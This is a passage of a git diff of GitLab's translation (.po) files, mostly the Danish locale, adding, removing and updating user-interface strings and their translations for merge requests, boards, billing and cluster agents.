msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -42094,39 +42793,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -42295,6 +42985,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -42487,9 +43189,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -42514,6 +43213,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/da_DK/gitlab.po b/locale/da_DK/gitlab.po
index 9c4eafc6597..dd255fb2953 100644
--- a/locale/da_DK/gitlab.po
+++ b/locale/da_DK/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: da\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:40\n"
+"PO-Revision-Date: 2021-12-06 18:57\n"
msgid " %{start} to %{end}"
msgstr " %{start} til %{end}"
@@ -70,11 +70,8 @@ msgstr "\"%{path}\" fandtes ikke på \"%{ref}\""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr "Størrelsen på \"%{repository_name}\" (%{repository_size}) er større end grænsen på %{limit}."
-msgid "\"el\" parameter is required for createInstance()"
-msgstr "Parameteren \"el\" kræves til createInstance()"
-
msgid "#%{issueIid} (closed)"
-msgstr ""
+msgstr "#%{issueIid} (lukket)"
msgid "#general, #development"
msgstr "#generelt, #udvikling"
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] "%d rettet testresultat"
msgstr[1] "%d rettede testresultater"
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] "%d gruppe"
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] "%d sammenlægningsanmodning som du ikke har adgang til."
msgstr[1] "%d sammenlægningsanmodninger som du ikke har adgang til."
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] "%d måling"
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] "%d shard valgt"
msgstr[1] "%d shards valgt"
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] "%d mærkat"
@@ -407,6 +419,12 @@ msgstr[1] "%s yderligere commits er udeladt for at forhindre ydelsesproblemer."
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} og %{openOrClose} %{noteable}"
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr "%{address} er et ugyldigt IP-adresseområde"
@@ -483,6 +501,11 @@ msgstr[1] "%{count} godkendelser kræves fra %{name}"
msgid "%{count} approvals from %{name}"
msgstr "%{count} godkendelser fra %{name}"
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr "%{count} filer berørt"
@@ -705,8 +728,8 @@ msgstr "%{link_start}Lær mere%{link_end} om roller."
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr "%{link_start}Fjern præfikset %{draft_snippet}%{link_end} fra titlen, når den er klar, for at give tilladelse til at sammenlægningsanmodningen kan sammenlægges."
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
-msgstr "%{link_start}Start titlen med %{draft_snippet}%{link_end} for at forhindre en sammenlægningsanmodning der er under udarbejdelse i at blive sammenlagt før den er klar."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
+msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
msgstr "%{link_start}Hvilke informationer indsamler GitLab Inc.?%{link_end}"
@@ -759,6 +782,9 @@ msgstr "%{name} fandt %{resultsString}"
msgid "%{name} is already being used for another emoji"
msgstr "%{name} bruges allerede af en anden emoji"
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr "%{name} er planlagt til %{action}"
@@ -791,9 +817,6 @@ msgstr "%{oneWeekAgo} - %{today}"
msgid "%{oneYearAgo} - %{today}"
msgstr "%{oneYearAgo} - %{today}"
-msgid "%{openOrClose} %{noteable}"
-msgstr "%{openOrClose} %{noteable}"
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr "%{openedEpics} åbne, %{closedEpics} lukkede"
@@ -818,6 +841,9 @@ msgstr "%{placeholder} er ikke et gyldigt tema"
msgid "%{primary} (%{secondary})"
msgstr "%{primary} (%{secondary})"
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr "%{ref} kan ikke tilføjes: %{error}"
@@ -850,6 +876,9 @@ msgstr "%{rotation} er blevet udregnet igen med de tilbageværende deltagere. Ko
msgid "%{scope} results for term '%{term}'"
msgstr "%{scope} resultater for udtrykket '%{term}'"
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr "%{seconds} s"
@@ -896,9 +925,6 @@ msgstr "%{spanStart}i%{spanEnd} %{errorFn}"
msgid "%{start} to %{end}"
msgstr "%{start} til %{end}"
-msgid "%{state} epics"
-msgstr "%{state} epics"
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr "%{strongOpen}Advarsel:%{strongClose} SAML-gruppelinks kan få GitLab til automatisk at fjerne medlemmer fra grupper."
@@ -997,6 +1023,9 @@ msgstr "%{total} åben problemstillingsvægt"
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr "%{total} advarsler fundet: viser første %{warningsDisplayed}"
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (kan ikke sammenlægge)"
@@ -1128,6 +1157,11 @@ msgstr "(fjernet)"
msgid "(revoked)"
msgstr "(tilbagekaldt)"
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr "(vi har brug for din nuværende adgangskode for at bekræfte dine ændri
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr "+ %{amount} mere"
@@ -1175,6 +1212,9 @@ msgstr "+%{more_reviewers_count} kontrollanter mere"
msgid "+%{tags} more"
msgstr "+%{tags} mere"
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr " eller "
@@ -1190,7 +1230,7 @@ msgid "- Not available to run jobs."
msgstr "- Ikke tilgængelig til at køre jobs."
msgid "- Select -"
-msgstr ""
+msgstr "- Vælg -"
msgid "- User"
msgid_plural "- Users"
@@ -1480,9 +1520,6 @@ msgstr "En ny udgivelse %{tag} for %{name} blev udgivet. Besøg %{release_link_s
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr "En ny udgivelse %{tag} for %{name} blev udgivet. Besøg Udgivelser-siden for at læse mere om det:"
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr "Der oprettes en ny gren i din forgrening og en ny sammenlægningsanmodning startes."
-
msgid "A new impersonation token has been created."
msgstr "En ny efterligningstoken er blevet oprettet."
@@ -1519,9 +1556,6 @@ msgstr "En rebase er allerede i gang."
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr "Der blev logget ind på din konto fra følgende IP-adresse: %{ip}"
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr "En streng som tilføjes til slutningen af projektstien for at danne e-mailadressen for serviceskranken."
-
msgid "A title is required"
msgstr "En titel kræves"
@@ -1570,9 +1604,6 @@ msgstr "Vælg en metode"
msgid "APIFuzzing|Choose a profile"
msgstr "Vælg en profil"
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr "Kodeudklip kunne ikke genereres. Prøv igen senere."
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr "Adgangstokens"
msgid "Access denied for your LDAP account."
msgstr "Adgang nægtet for din LDAP-konto."
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr "Adgang nægtet! Bekræft venligst, at du kan tilføje udsendelsesnøgler til depotet."
-
msgid "Access denied: %{error}"
msgstr "Adgang nægtet: %{error}"
@@ -1850,7 +1878,7 @@ msgid "Activate Service Desk"
msgstr "Aktivér serviceskranke"
msgid "Activated on"
-msgstr ""
+msgstr "Aktiveret"
msgid "Active"
msgstr "Aktive"
@@ -1957,12 +1985,18 @@ msgstr "Tilføj en nummereret liste"
msgid "Add a related issue"
msgstr "Tilføj en relateret problemstilling"
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr "Tilføj en tabel"
msgid "Add a task list"
msgstr "Tilføj en opgaveliste"
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr "Tilføj et gøremål"
@@ -2005,6 +2039,12 @@ msgstr "Tilføj commit-meddelelser som kommentarer til Asana-opgaver. %{docs_lin
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr "Tilføj commit-meddelelser som kommentarer til Pivotal Tracker-historier. %{docs_link}"
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr "Tilføj udsendelsesfrysning"
@@ -2047,9 +2087,6 @@ msgstr "Tilføj nyt program"
msgid "Add new directory"
msgstr "Tilføj ny mappe"
-msgid "Add new service account"
-msgstr "Tilføj ny tjenestekonto"
-
msgid "Add or remove previously merged commits"
msgstr "Tilføj eller fjern commits, som tidligere er blevet sammenlagt"
@@ -2119,6 +2156,9 @@ msgstr "Tilføj brugere til gruppe"
msgid "Add variable"
msgstr "Tilføj variabel"
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr "Tilføj webhook"
@@ -2164,9 +2204,6 @@ msgstr "Tilføjede et gøremål."
msgid "Added an issue to an epic."
msgstr "Tilføjede en problemstilling til en epic."
-msgid "Added at"
-msgstr "Tilføjet kl."
-
msgid "Added for this merge request"
msgstr "Tilføjet for denne sammenlægningsanmodning"
@@ -2209,8 +2246,8 @@ msgstr "Tilføjer %{epic_ref} som underepic."
msgid "Adds %{labels} %{label_text}."
msgstr "Tilføjer %{labels} %{label_text}."
-msgid "Adds a Zoom meeting"
-msgstr "Tilføjer et Zoom-møde"
+msgid "Adds a Zoom meeting."
+msgstr ""
msgid "Adds a to do."
msgstr "Tilføjer et gøremål."
@@ -2218,8 +2255,8 @@ msgstr "Tilføjer et gøremål."
msgid "Adds an issue to an epic."
msgstr "Tilføjer en problemstilling til en epic."
-msgid "Adds email participant(s)"
-msgstr "Tilføjer e-mail-deltagere"
+msgid "Adds email participant(s)."
+msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
msgstr ""
@@ -2314,6 +2351,9 @@ msgstr "Seneste brugere"
msgid "AdminArea|Maintainer"
msgstr "Vedligeholder"
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr "Ny gruppe"
@@ -2380,8 +2420,8 @@ msgstr "Du er ved at stoppe alle job. Det standser alle nuværende job som køre
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "Fejl ved indlæsning af statistikken. Prøv venligst igen"
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
-msgstr " Du er ved at slette projektet %{projectName} og dets depot, og alle relaterede ressourcer, herunder problemstillinger og sammenlægningsanmodninger permanent. Når du bekræfter og trykke på %{strong_start}Slet projekt%{strong_end}, så kan det ikke fortrydes eller gendannes."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgstr ""
msgid "AdminProjects|Delete"
msgstr "Slet"
@@ -2917,20 +2957,29 @@ msgstr "Avancerede indstillinger"
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr "Efter adgangskoden er blevet opdateret vil du blive omdirigeret til indlogningsskærmen."
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr "Efter adgangskoden er blevet opdateret vil du blive omdirigeret til indlogningsskærmen hvor du kan logge ind med din nye adgangskode."
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
-msgstr "Herefter vil du ikke være i stand til at bruge sammenlægningsgodkendelser eller kodekvalitet samt mange andre funktioner."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
+msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
-msgstr "Herefter vil du ikke være i stand til at bruge sammenlægningsgodkendelser eller epics samt mange andre funktioner."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
+msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
-msgstr "Herefter vil du ikke være i stand til at bruge sammenlægningsgodkendelser eller epics samt mange sikkerhedsfunktioner."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
+msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
msgstr ""
@@ -3452,7 +3501,7 @@ msgid "Allows projects or subgroups in this group to override the global setting
msgstr "Tillader projekter eller undergrupper i gruppen at tilsidesætte den globale indstilling."
msgid "Allows you to add and manage Kubernetes clusters."
-msgstr "Tillader dig at tilføje eller håndtere Kubernetes-klynger."
+msgstr "Giver dig mulighed for at tilføje eller håndtere Kubernetes-klynger."
msgid "Almost there"
msgstr "Du er der næsten"
@@ -3520,9 +3569,6 @@ msgstr "En e-mail-underretning blev for nyligt sendt fra administratorpanelet. V
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr "Et tomt GitLab-brugerfelt tilføjer FogBugz-brugerens fulde navn (f.eks. \"Af Ronni Ræv\") i beskrivelsen på alle problemstillinger og kommentarer. Det vil også tilknytte og/eller tildele problemstillingerne og kommentarerne med projektopretteren."
-msgid "An empty index will be created if one does not already exist"
-msgstr "Der oprettes et tomt indeks hvis der ikke allerede findes et"
-
msgid "An error has occurred"
msgstr "Der er opstået en fejl"
@@ -3550,6 +3596,9 @@ msgstr "Der opstod en fejl ved hentning af rullegardinsdataene."
msgid "An error occurred fetching the project authors."
msgstr "Der opstod en fejl ved hentning af projektforfattere."
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr "Der opstod en fejl ved forhåndsvisning af blob'en"
@@ -3709,6 +3758,9 @@ msgstr "Der opstod en fejl under indlæsning af alle filerne."
msgid "An error occurred while loading chart data"
msgstr "Der opstod en fejl under indlæsning af diagramdata"
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr "Der opstod en fejl under indlæsning af commit-underskrifter"
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr "Der findes allerede en problemstilling"
@@ -3930,6 +3985,9 @@ msgstr "Analyser en kontrolversion af dit webprogram."
msgid "Analyze your dependencies for known vulnerabilities."
msgstr "Analyser dine afhængigheder for kendte sårbarheder."
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr "Analyser din kildekode og git-historik for hemmeligheder."
@@ -3972,9 +4030,6 @@ msgstr "Alle milepæle"
msgid "Any encrypted tokens"
msgstr "Alle krypterede tokens"
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr "Alle etiketter"
@@ -3987,9 +4042,6 @@ msgstr "Alle milepæle"
msgid "Any namespace"
msgstr "Alle navnerum"
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr "Program-id"
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] "Godkend %d bruger"
msgstr[1] "Godkend %d brugere"
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr "Godkend brugere med statussen afventer godkendelse?"
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] "Ved at foretage ændringen godkender du automatisk %d bruger med statussen afventer godkendelse."
msgstr[1] "Ved at foretage ændringen godkender du automatisk %d brugere med statussen afventer godkendelse."
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr "Domæner som nægtes ved tilmeldinger"
@@ -4466,6 +4524,9 @@ msgstr "Er du sikker på, at du vil slette denne %{typeOfComment}?"
msgid "Are you sure you want to delete this SSH key?"
msgstr "Er du sikker på, at du vil slette SSH-nøglen?"
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr "Er du sikker på, at du vil slette enheden? Handlingen kan ikke fortrydes."
@@ -4669,6 +4730,9 @@ msgstr "Tildel til"
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr "Kunne ikke vedhæfte filen."
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr "(fjernet)"
@@ -5414,6 +5481,9 @@ msgstr "Bruger blev fjernet"
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr "Vælg et projekt"
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr "Der opstod en fejl under hentning af milepæle. Prøv venligst igen."
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr "Der opstod en fejl under søgning efter brugere. Prøv venligst igen."
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr "Rediger"
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr "Milepæl"
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr "Vælg milepæl"
@@ -5609,6 +5694,9 @@ msgstr "Udfold"
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr "Kunne ikke hente blokerende %{issuableType}s"
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr "Ny epic"
@@ -5621,6 +5709,9 @@ msgstr "Vis alle blokerende %{issuableType}s"
msgid "Boards|View scope"
msgstr "Vis omfang"
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr "Er du sikker på, at du vil slette tavlen?"
@@ -5912,11 +6003,14 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr "Importér grupper fra GitLab"
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr "Importér valgte"
-msgid "BulkImport|Importing the group failed"
-msgstr "Importering af gruppen mislykkedes"
+msgid "BulkImport|Importing the group failed."
+msgstr ""
msgid "BulkImport|Last imported to %{link}"
msgstr "Sidst importeret til %{link}"
@@ -5924,6 +6018,9 @@ msgstr "Sidst importeret til %{link}"
msgid "BulkImport|Name already exists."
msgstr "Navnet findes allerede."
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr "Ny gruppe"
@@ -6054,7 +6151,7 @@ msgid "CICDAnalytics|All time"
msgstr ""
msgid "CICDAnalytics|Deployment frequency"
-msgstr ""
+msgstr "Udsendelseshyppighed"
msgid "CICDAnalytics|Lead time"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr "Hvorfor anmode om et CVE-id?"
msgid "Cadence is not automated"
msgstr "Kadence er ikke automatiseret"
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6404,13 +6504,13 @@ msgid "Certificate Subject"
msgstr ""
msgid "Change assignee"
-msgstr ""
+msgstr "Ændr tildeler"
msgid "Change assignee(s)"
-msgstr ""
+msgstr "Ændr tildeler(e)"
msgid "Change assignee(s)."
-msgstr ""
+msgstr "Ændr tildeler(e)."
msgid "Change branches"
msgstr ""
@@ -6463,12 +6563,12 @@ msgstr "Kontrollant ændret til %{new}"
msgid "ChangeReviewer|Unassigned"
msgstr "Utildelt"
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
-msgstr "En ny gren vil blive oprettet i din forgrening og en ny sammenlægningsanmodning vil blive startet."
-
msgid "ChangeTypeAction|Cherry-pick"
msgstr "Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
@@ -6503,7 +6603,7 @@ msgid "ChangeTypeAction|Your changes will be committed to %{branchName} because
msgstr "Dine ændringer vil blive sammenlagt i %{branchName} da en sammenlægningsanmodning er åben."
msgid "Changed assignee(s)."
-msgstr ""
+msgstr "Ændrede tildeler(e)."
msgid "Changed reviewer(s)."
msgstr "Ændrede kontrollanter."
@@ -6517,9 +6617,6 @@ msgstr "Ændringer"
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr "Ændringerne vises som om %{b_open}kilderevisionen%{b_close} blev sammenlagt i %{b_open}målrevisionen%{b_close}."
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr "Ændringer gemt."
@@ -6532,6 +6629,9 @@ msgstr "Ændrer titlen til \"%{title_param}\"."
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr "Tjek tilgængeligheden af funktioner på navnerumsplan"
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr "%{name}s GitLab-abonnement"
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr "%{quantity} GB lager"
@@ -6674,9 +6777,6 @@ msgstr "%{selectedPlanText}-plan"
msgid "Checkout|%{startDate} - %{endDate}"
msgstr "%{startDate} - %{endDate}"
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr "%{totalCiMinutes} CI-minutter"
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6696,7 +6796,7 @@ msgid "Checkout|CI minute packs are only used after you've used your subscriptio
msgstr ""
msgid "Checkout|CI minutes"
-msgstr ""
+msgstr "CI-minutter"
msgid "Checkout|Checkout"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr "Understøttelse af kinesisk sprog med"
msgid "Choose File..."
msgstr "Vælg fil ..."
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr "Vælg en gren/mærkat (f.eks. %{branch}) eller indtast en commit (f.eks. %{sha}) for at se hvad der er ændret eller for at oprette en sammenlægningsanmodning."
-
msgid "Choose a file"
msgstr "Vælg en fil"
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr "Klienter"
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr "Klon"
@@ -7217,6 +7317,9 @@ msgstr "Luk"
msgid "Close %{issueType}"
msgstr "Luk %{issueType}"
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr "Luk %{tabname}"
@@ -7259,12 +7362,6 @@ msgstr "Lukket: %{closed}"
msgid "Closes this %{quick_action_target}."
msgstr "Lukker denne %{quick_action_target}."
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr "Klynge"
@@ -7286,17 +7383,32 @@ msgstr "Klyngeniveau"
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr "Adgangstokens"
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
-msgstr "Alternative installationsmetoder"
+msgid "ClusterAgents|All"
